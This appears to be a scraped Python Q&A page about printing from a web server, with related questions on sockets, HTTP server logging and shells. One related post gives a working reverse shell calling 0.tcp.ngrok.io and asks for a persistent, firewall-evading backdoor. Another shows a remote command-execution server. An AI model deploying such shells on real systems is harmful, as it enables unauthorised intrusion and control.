Can't print (to printer) from Python when in a web server - python

I'm able to use this code to send a job to my system printer:
lpr = subprocess.Popen("/usr/bin/lpr", stdin=subprocess.PIPE, close_fds=True)
print('printing from shell!')
lpr.stdin.write(b'print from python')
print('printed!')
However, if I use this code in a webserver, the code runs but the printer doesn't print.
import http.server
import socketserver
import subprocess
def print_out(a,b,c):
lpr = subprocess.Popen("/usr/bin/lpr", stdin=subprocess.PIPE, close_fds=True)
print('printing from shell!')
lpr.stdin.write(b'print from python')
print('printed!')
PORT = 8080
with socketserver.TCPServer(("", PORT), print_out) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
This is true even if I try calling print_out() before creating the server (i.e., above PORT = 8080).
How can I make this work?

Related

Python permanent and encrypted reverse shell

I'm wondering how to create a permanent backdoor on the system with just a one-time running. In addition, when trying to establish a direct connection, Firewalls notice and block it. So I want to encrypt the connection with a 15 digit string. I was using this code from reverse shell port forwarding
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
But firewalls blocks it automatically and when executor stops the code, reverse shell ending.

How can I access Metasploitable 2 VM shell with python socket through open shell port?

I just trying to learn penetration test tools like nmap, netcat etc. now and I'm testing this tools on my Metasploitable 2 VM.When I scanned my Metasploitable machine's port, I saw there is Metasploitable root shell(1524) open port:
1524/tcp open shell Metasploitable root shell
When I connect to port 1524 with simple netcat tcp connection, I accessed my Metasploitable 2 VM's shell immediately:
root#kali:~# netcat 10.0.2.4 1524
root#metasploitable:/#
It was very easy even for me and I thought I can connect to the my Metasploitable 2 VM via python socket but, it was not as easy as I thought.
import sys
import socket
import subprocess
host = '10.0.2.4' # Metasploitable 2 VM's IP
port = 1524 # Metasploitable root shell
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as err:
print(err)
while True:
data = sock.recv(1024)
cmd = input('root#nonkali:#> ')
if cmd == 'quit':
sock.close()
sys.exit()
if cmd:
command = subprocess.Popen(data.decode('utf-8'), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
outs = command.stdout.read() + command.stderr.read()
str_outs = str(outs, 'utf-8')
sock.send(cmd.encode())
print(str_outs)
sock.close()
Output:
root#nonkali:#> ls
/bin/sh: 1: root#metasploitable:/#: not found
ls
ls
^CTraceback (most recent call last):
File "Python/tcp_client.py", line 15, in <module>
data = sock.recv(4096)
KeyboardInterrupt
I tried some bunch of codes like this but I never access my VM's shell.
I still don't know what am I doing wrong.I need a bit help.Actually, I want to understanding difference between netcat 10.0.2.4 1524 and python socket connection.
I'll provide two ways of doing it, that both worked for me. I tried the following on ubuntu 17.10 (with python 2.7.14).
The first one is using sockets and establishing a TCP connection. The code snippet is the following:
#!/usr/bin/env python
import sys
from socket import *
def nc(host, port):
s = socket(AF_INET, SOCK_STREAM) # TCP client
s.connect((host, port))
try:
while 1:
mydata = raw_input("root#root:#> ")
if mydata.strip()!='':
s.sendall(str(mydata))
data = s.recv(1024)
print data
except KeyboardInterrupt:
s.close()
sys.exit(0)
if __name__ == '__main__':
host = '...'
port = 11111
nc(host, port)
This gave me the following output:
$ ./test.py
root#root:#> ls
file1
testfile.zip
testfile3
root#root:#> whoami
testuser
root#root:#>
The other way as I said in the comments is by using pwntools.
The script is the following:
from pwn import *
p = remote(host,port)
p.interactive()
This will work also. The main difference between the two scripts is that the first script
is a native python socket-based implementation (use standard libraries only) while the other way
even if its easier depends on pwntools framework and doesn't mess with low-level socket programing. Actually both scripts are nothing more than just a simple TCP-client implementation.
I guess,I found my problem: Threading! I don't know exactly how works threading but,I implemented threading module to my code and It works well now.
#!/usr/bin/python3.6
import sys
import socket
import threading
def tcp_connect(host, port):
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
interact()
except Exception as err:
print(err)
sys.exit()
def recv():
while True:
try:
data = sock.recv(1024)
sys.stdout.write(data.decode('utf-8'))
sys.stdout.flush()
except Exception as err:
print(err)
sock.close()
sys.exit()
def interact():
th = threading.Thread(target=recv)
th.start()
try:
while True:
cmd = sys.stdin.read(1)
sock.send(cmd.encode())
print('Connection closed.')
sock.close()
sys.exit()
except KeyboardInterrupt:
sock.close()
sys.exit()
if __name__ == '__main__':
host = '10.0.2.4'
port = 1524
tcp_connect(host, port)
And my commands are working:
root#metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

OSX shell (Terminal) via Python

How can I return the OSX shell prompt to a user via Python?
I would like to implement my own "remote terminal".
I am trying this one, but it executes just a single command per time.
I would like it to be persistent like as in a terminal window.
import socket
import threading
import subprocess
bind_ip = "0.0.0.0"
bind_port = 9997
# how to connect?
# telnet 0.0.0.0 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
# this is our client-handling thread
def handle_client(client_socket):
try:
while True:
# print out what the client sends
request = client_socket.recv(1024)
print "[*] Received: %s" % request
# send back a packet
# client_socket.send("ACK!\n")
if request == "quit": break
# do shell command
proc = subprocess.Popen(request.strip(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
client_socket.send(stdout_value)
except:
print "Connection failed. Closing port..."
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
# spin up our client thread to handle incoming data
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()

Save logs - SimpleHTTPServer

How can I save the output from the console like
"192.168.1.1 - - [18/Aug/2014 12:05:59] code 404, message File not found"
to a file?
Here is the code:
import SimpleHTTPServer
import SocketServer
PORT = 1548
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
httpd.serve_forever()
BaseHTTPRequestHandler.log_message() prints all log messages by writing to sys.stderr. You have two choices:
1) Continue using BaseHTTPRequestHandler.log_message(), but change the value of sys.stderr:
import SimpleHTTPServer
import SocketServer
PORT = 1548
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
import sys
buffer = 1
sys.stderr = open('logfile.txt', 'w', buffer)
httpd.serve_forever()
2) Create a new xxxRequestHandler class, replacing .log_message():
import SimpleHTTPServer
import SocketServer
import sys
PORT = 1548
class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
buffer = 1
log_file = open('logfile.txt', 'w', buffer)
def log_message(self, format, *args):
self.log_file.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
Handler = MyHTTPHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
httpd.serve_forever()
I have used BaseHTTPServer instead of SimpleHTTPServer.
There you go:
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 5451
#This class will handles any incoming request from
#the browser
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
#self.send_header('Content-type','text/html')
self.end_headers()
text_file = open("ip.txt", "a")
text_file.write(str(self.client_address) + "\n")
text_file.close()
# Send the html message
#self.wfile.write("Hello World !")
return
try:
#Create a web server and define the handler to manage the
#incoming request
server = HTTPServer(('', PORT_NUMBER), myHandler)
print 'Started httpserver on port ' , PORT_NUMBER
#Wait forever for incoming htto requests
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()

Python from within Python

I'm trying to launch a simple server from a Python script:
server = Popen(['python' ,'-m', 'SimpleHTTPServer', '9090'], stderr=STDOUT, stdout=PIPE)
output = server.communicate()[0] # <- DEBUG
Reading the output, I see:
'/usr/bin/python: Import by filename is not supported.'
What's the problem? How to solve it?
I suggest change to code to this:
import SimpleHTTPServer
import SocketServer
PORT = 9090
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
httpd.serve_forever()

Categories

Resources